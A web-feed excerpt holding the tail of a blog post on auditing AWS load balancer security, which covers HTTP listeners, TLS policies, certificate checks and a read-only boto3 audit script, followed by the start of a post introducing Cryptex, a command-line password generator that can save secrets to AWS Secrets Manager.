&lt;h4&gt;
  
  
  What your EC2 application sees
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TCP connection from&lt;/strong&gt; : &lt;code&gt;**_10.0.0.50_**&lt;/code&gt; (load balancer’s private IP)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real client IP&lt;/strong&gt; : Read &lt;code&gt;**_X-Forwarded-For_**&lt;/code&gt; header → &lt;code&gt;**_203.0.113.50_**&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Security note&lt;/strong&gt; : Traffic between load balancer and EC2 is often unencrypted HTTP inside your VPC. This is usually fine (VPC is isolated), but for sensitive data you can configure HTTPS to targets too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The trade-off:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| | Layer 4 (NLB) | Layer 7 (ALB) |
|-----------------------|----------------------------------|--------------------------------|
| Speed | ~100,000 requests/sec per target | ~1,000 requests/sec per target |
| Latency | Microseconds | Milliseconds |
| Can route by URL | No | Yes |
| Can see HTTP headers | No | Yes |
| Can do authentication | No | Yes |
| Use for | Databases, gaming, IoT | Web apps, APIs, microservices |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Real example:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your e-commerce site needs:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;**_/api/\*_**&lt;/code&gt; → API servers
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;**_/images/\*_**&lt;/code&gt; → CDN
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;**/admin/\***&lt;/code&gt; → Admin servers (with auth)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Layer 4 can’t do this. It just sees “port 443”. Layer 7 reads the URL and routes accordingly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule of thumb&lt;/strong&gt; : Web traffic → ALB. Everything else → NLB. Classic → migrate when you can.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AQZfJnFzS6QlEguYCImt4Zw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AQZfJnFzS6QlEguYCImt4Zw.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why This Matters for Security
&lt;/h3&gt;

&lt;p&gt;Load balancers are your front door. Misconfigure them and nothing else matters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTTP on a public load balancer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Anyone between your users and AWS can read the traffic. Passwords. Tokens. Everything.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User → [Attacker sniffing] → Your Load Balancer → Your App
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Outdated TLS policy?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;TLS 1.0 and 1.1 are broken. If your load balancer still accepts them, attackers can downgrade connections and decrypt traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Internal app on internet-facing load balancer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your admin panel is now on the internet. Congrats.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ADZlO0Lz9smEgH-8ZVZSwmg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ADZlO0Lz9smEgH-8ZVZSwmg.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What the Tool Checks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 elb_audit_cli.py --all-regions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;================================================================================
Classic ELBs in us-east-1
================================================================================

Load Balancer: prod-web-elb (internet-facing)
Listeners:
 - HTTP 80 -&amp;gt; instance 80 ⚠️ Insecure (HTTP on port 80)
 - HTTPS 443 -&amp;gt; instance 80
⚠️ Publicly accessible ELB detected!

================================================================================
Application/Network Load Balancers (ALB/NLB) in us-east-1
================================================================================

Load Balancer: api-gateway-alb (Type: application, Scheme: internet-facing)
 - HTTPS port 443
   Target Group: api-servers (HTTP:8080)
     - Target: i-1234567890abcdef0, Health: healthy
     - Target: i-0987654321fedcba0, Health: unhealthy
⚠️ Publicly accessible ALB/NLB detected!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It flags:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTP listeners on public load balancers
&lt;/li&gt;
&lt;li&gt;Public exposure (internet-facing scheme)
&lt;/li&gt;
&lt;li&gt;Unhealthy targets (often indicates config drift)
&lt;/li&gt;
&lt;li&gt;Insecure ports (80, 8080, 8000, 3000 without HTTPS)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AQdlHQd5IbXTeXDAZW8AEMw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AQdlHQd5IbXTeXDAZW8AEMw.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AY1CpJFMueNv4c3iITAY4eA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AY1CpJFMueNv4c3iITAY4eA.png" width="800" height="492"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A0TTjv4_27OdObDhOne2_GQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A0TTjv4_27OdObDhOne2_GQ.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Code That Does the Work
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Checking Classic Load Balancers
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def audit_classic_elbs(elb_client, region):
    """Audit Classic Load Balancers with security focus."""
    elbs = elb_client.describe_load_balancers()['LoadBalancerDescriptions']

    for elb in elbs:
        name = elb['LoadBalancerName']
        # 'Scheme' is 'internet-facing' or 'internal'
        public = elb.get('Scheme', '') == 'internet-facing'

        for listener in elb['ListenerDescriptions']:
            protocol = listener['Listener']['Protocol']
            port = listener['Listener']['LoadBalancerPort']

            # HTTP on port 80 + public = bad
            if protocol.upper() == 'HTTP' and public:
                print(f"⚠️ {name}: Public HTTP listener on port {port}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Checking ALB/NLB
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def audit_alb_nlb(elbv2_client, region):
    """Audit Application and Network Load Balancers."""
    lbs = elbv2_client.describe_load_balancers()['LoadBalancers']

    for lb in lbs:
        name = lb['LoadBalancerName']
        lb_type = lb['Type'] # 'application' or 'network'
        public = lb.get('Scheme') == 'internet-facing'

        # Get listeners for this load balancer
        listeners = elbv2_client.describe_listeners(
            LoadBalancerArn=lb['LoadBalancerArn']
        )['Listeners']

        for listener in listeners:
            protocol = listener.get('Protocol', '')
            port = listener.get('Port', 0)

            if protocol == 'HTTP' and public:
                print(f"⚠️ {name}: Public HTTP on port {port}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Checking Target Health
&lt;/h4&gt;

&lt;p&gt;Unhealthy targets often mean something changed. Sometimes that “something” breaks security too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def check_target_health(elbv2_client, target_group_arn):
    """Check target health - unhealthy often means config drift."""
    response = elbv2_client.describe_target_health(
        TargetGroupArn=target_group_arn
    )

    for target in response['TargetHealthDescriptions']:
        target_id = target['Target']['Id']
        state = target['TargetHealth']['State']

        if state != 'healthy':
            reason = target['TargetHealth'].get('Reason', 'Unknown')
            print(f" ⚠️ {target_id}: {state} ({reason})")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SSL/TLS — The Settings That Actually Matter
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Default is Bad
&lt;/h4&gt;

&lt;p&gt;When you create an HTTPS listener via CLI without specifying a policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elbv2 create-listener --protocol HTTPS ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You get &lt;code&gt;**_ELBSecurityPolicy-2016–08_**&lt;/code&gt;. This enables TLS 1.0 and 1.1. Both are deprecated.&lt;/p&gt;

&lt;h4&gt;
  
  
  What to Use Instead
&lt;/h4&gt;

&lt;p&gt;For ALB/NLB:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTPS \
  --port 443 \
  --ssl-policy ELBSecurityPolicy-TLS13-1-2-Res-2021-06 \
  --certificates CertificateArn=$CERT_ARN \
  --default-actions Type=forward,TargetGroupArn=$TG_ARN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;**_ELBSecurityPolicy-TLS13–1–2-Res-2021–06_**&lt;/code&gt; = TLS 1.3 + TLS 1.2 only. No legacy junk.&lt;/p&gt;

&lt;p&gt;For Classic Load Balancer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elb set-load-balancer-policies-of-listener \
  --load-balancer-name my-elb \
  --load-balancer-port 443 \
  --policy-names ELBSecurityPolicy-TLS-1-2-2017-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Redirect HTTP to HTTPS
&lt;/h4&gt;

&lt;p&gt;ALB can do this automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTP \
  --port 80 \
  --default-actions 'Type=redirect,RedirectConfig={Protocol=HTTPS,Port=443,StatusCode=HTTP_301}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Classic Load Balancer can’t do redirects. You need to handle it in your app or migrate to ALB.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AVyFnThPlRX4n4ngFGpSqwg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AVyFnThPlRX4n4ngFGpSqwg.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  SSL Certificate Checking
&lt;/h3&gt;

&lt;p&gt;The tool also checks your certificates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Note: Requires Python 3.7+ for ssl.TLSVersion enum
def analyze_ssl_certificate(cert_arn, region):
    """Check certificate expiration and key strength."""
    acm = boto3.client('acm', region_name=region)
    cert = acm.describe_certificate(CertificateArn=cert_arn)['Certificate']

    # Expiration check
    expiry = cert.get('NotAfter')
    if expiry:
        days_left = (expiry.replace(tzinfo=None) - datetime.now()).days
        if days_left &amp;lt; 30:
            print(f"🔴 Certificate expires in {days_left} days!")
        elif days_left &amp;lt; 90:
            print(f"🟡 Certificate expires in {days_left} days")

    # Key strength check
    key_algo = cert.get('KeyAlgorithm', '')
    if key_algo == 'RSA-1024':
        print(f"🔴 Weak RSA-1024 key - use 2048+ bit")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Running Across All Regions
&lt;/h3&gt;

&lt;p&gt;AWS has 33 commercial regions (plus GovCloud and China which need separate credentials).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Scan all accessible regions
python3 elb_audit_cli.py --all-regions

# Scan specific region
python3 elb_audit_cli.py --region us-east-1

# Use specific AWS profile
python3 elb_audit_cli.py --profile production --all-regions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Parallel Scanning
&lt;/h4&gt;

&lt;p&gt;Scanning 33 regions sequentially takes ~2 minutes. Parallel drops it to ~15 seconds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Default: 5 parallel workers
python3 elb_audit_cli.py --all-regions

# Faster: 10 workers
python3 elb_audit_cli.py --all-regions --max-workers 10

# Sequential (if you're debugging)
python3 elb_audit_cli.py --all-regions --no-parallel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lambda Version for Continuous Monitoring
&lt;/h3&gt;

&lt;p&gt;One-time scans find today’s problems. Scheduled scans catch tomorrow’s.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd elb-audit-lambda
./deploy.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Runs daily. Sends SNS alerts when it finds:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;New public HTTP listeners
&lt;/li&gt;
&lt;li&gt;Expiring certificates
&lt;/li&gt;
&lt;li&gt;New internet-facing load balancers&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  IAM Permissions Needed
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "elasticloadbalancing:DescribeLoadBalancers",
                "elasticloadbalancing:DescribeListeners",
                "elasticloadbalancing:DescribeTargetGroups",
                "elasticloadbalancing:DescribeTargetHealth",
                "acm:DescribeCertificate"
            ],
            "Resource": "*"
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add &lt;code&gt;**_sns:Publish_**&lt;/code&gt; if you want alerts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Reference
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| What you need | Command |
|------------------|----------------------------------------------------------------------|
| Scan all regions | `python3 elb_audit_cli.py --all-regions` |
| Scan one region | `python3 elb_audit_cli.py --region us-east-1` |
| Use AWS profile | `python3 elb_audit_cli.py --profile prod --all-regions` |
| Faster scanning | `python3 elb_audit_cli.py --all-regions --max-workers 10` |
| With SNS alerts | `python3 elb_audit_cli.py --all-regions --sns-topic arn:aws:sns:...` |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Common Fixes
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;HTTP listener on public ALB:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Add HTTPS listener
aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTPS --port 443 \
  --ssl-policy ELBSecurityPolicy-TLS13-1-2-Res-2021-06 \
  --certificates CertificateArn=$CERT_ARN \
  --default-actions Type=forward,TargetGroupArn=$TG_ARN

# Redirect HTTP to HTTPS
aws elbv2 create-listener \
  --load-balancer-arn $ALB_ARN \
  --protocol HTTP --port 80 \
  --default-actions 'Type=redirect,RedirectConfig={Protocol=HTTPS,Port=443,StatusCode=HTTP_301}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Outdated TLS policy:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Update ALB/NLB listener
aws elbv2 modify-listener \
  --listener-arn $LISTENER_ARN \
  --ssl-policy ELBSecurityPolicy-TLS13-1-2-Res-2021-06

# Update Classic ELB
aws elb set-load-balancer-policies-of-listener \
  --load-balancer-name $ELB_NAME \
  --load-balancer-port 443 \
  --policy-names ELBSecurityPolicy-TLS-1-2-2017-01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Coming Next
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Episode 6&lt;/strong&gt; : DNS Security Validator — Subdomain Takeover &amp;amp; Email Spoofing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;GitHub: &lt;a href="https://github.com/TocConsulting/aws-helper-scripts" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/aws-helper-scripts&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;AWS ELB Security Policies: &lt;a href="https://docs.aws.amazon.com/elasticloadbalancing/latest/application/describe-ssl-policies.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/elasticloadbalancing/latest/application/describe-ssl-policies.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;AWS Classic ELB Policies: &lt;a href="https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-policy-table.html" rel="noopener noreferrer"&gt;https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-policy-table.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/TocConsulting/aws-helper-scripts.git
cd aws-helper-scripts/elb-audit
python3 elb_audit_cli.py --all-regions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. No more clicking through the console.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you found this useful, follow me for more AWS security automation content.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;




</description>
      <category>security</category>
      <category>devsecops</category>
      <category>aws</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Cryptex — Because openssl rand -base64 32 Gets Old Fast</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Tue, 27 Jan 2026 01:11:44 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/cryptex-because-openssl-rand-base64-32-gets-old-fast-1789</link>
      <guid>https://dev.to/tarekcheikh/cryptex-because-openssl-rand-base64-32-gets-old-fast-1789</guid>
      <description>&lt;h3&gt;
  
  
  Cryptex — Because openssl rand -base64 32 Gets Old Fast
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ax6ymJHdPj19A8Ge7rNX1dQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ax6ymJHdPj19A8Ge7rNX1dQ.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’ve all done it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openssl rand -base64 32
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copy. Paste into  &lt;strong&gt;&lt;em&gt;.env&lt;/em&gt;&lt;/strong&gt;. Repeat five times. Forget which one was for what. Curse. Start over.&lt;/p&gt;

&lt;p&gt;Or worse — you’re in a hurry, so you type &lt;strong&gt;&lt;em&gt;admin123&lt;/em&gt;&lt;/strong&gt; for local dev. Then six months later you find it in production. Don’t lie, it happened to at least one of us.&lt;/p&gt;

&lt;p&gt;I got tired of this. So I built Cryptex.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Cryptex?
&lt;/h3&gt;

&lt;p&gt;A CLI that generates passwords. That’s it. But it does it properly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install cryptex-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ay5TdKaMgyeZIaarpx-VgEw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ay5TdKaMgyeZIaarpx-VgEw.png" width="800" height="117"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You get a 16-character password. Uppercase, lowercase, numbers, special chars. Cryptographically secure (uses Python’s &lt;strong&gt;&lt;em&gt;secrets&lt;/em&gt;&lt;/strong&gt; , not  &lt;strong&gt;&lt;em&gt;random&lt;/em&gt;&lt;/strong&gt; ).&lt;/p&gt;

&lt;p&gt;Need longer?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -l 32
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Need 10 of them?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -c 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing revolutionary so far. Here’s where it gets useful.&lt;/p&gt;

&lt;h3&gt;
  
  
  The .env Problem
&lt;/h3&gt;

&lt;p&gt;New project. You need &lt;strong&gt;&lt;em&gt;DATABASE_PASSWORD&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;REDIS_PASSWORD&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;JWT_SECRET&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;API_KEY&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;SESSION_SECRET&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Old way: Generate five passwords somewhere. Copy each one. Paste. Format. Probably mess up the quotes.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AQpUzejoulShOes0PGOl25g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AQpUzejoulShOes0PGOl25g.png" width="800" height="137"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Done. Five passwords. Properly formatted. One command.&lt;/p&gt;

&lt;h3&gt;
  
  
  Compliance Templates
&lt;/h3&gt;

&lt;p&gt;Security audit coming? Your passwords need to meet NIST 800–63B?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex --template nist-800-63b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ar2gPJ8mQOfPPq_uoS22gdA.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Ar2gPJ8mQOfPPq_uoS22gdA.png" width="800" height="111"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There’s also &lt;strong&gt;&lt;em&gt;pci-dss&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;owasp&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;high-security&lt;/em&gt;&lt;/strong&gt; , &lt;strong&gt;&lt;em&gt;database&lt;/em&gt;&lt;/strong&gt; (no quotes or backslashes), and &lt;strong&gt;&lt;em&gt;wifi&lt;/em&gt;&lt;/strong&gt; (easy to type on phones).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ARuxHOMsmeR5VygasRMdXNw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2ARuxHOMsmeR5VygasRMdXNw.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Saving Secrets
&lt;/h3&gt;

&lt;p&gt;Here’s what really annoyed me before: generate a password, then manually go to AWS console, create a secret, paste it, go back to terminal…&lt;/p&gt;

&lt;p&gt;Now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -l 32 --save-aws --aws-secret-name "cryptex-prod/db-password" --aws-profile production
Cryptex - Enhanced Random Password Generator

h2mmG4%w2S*1od0F=&amp;lt;1X[AAO!k4gXiFO
Secret saved to AWS Secrets Manager: cryptex-prod/db-password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



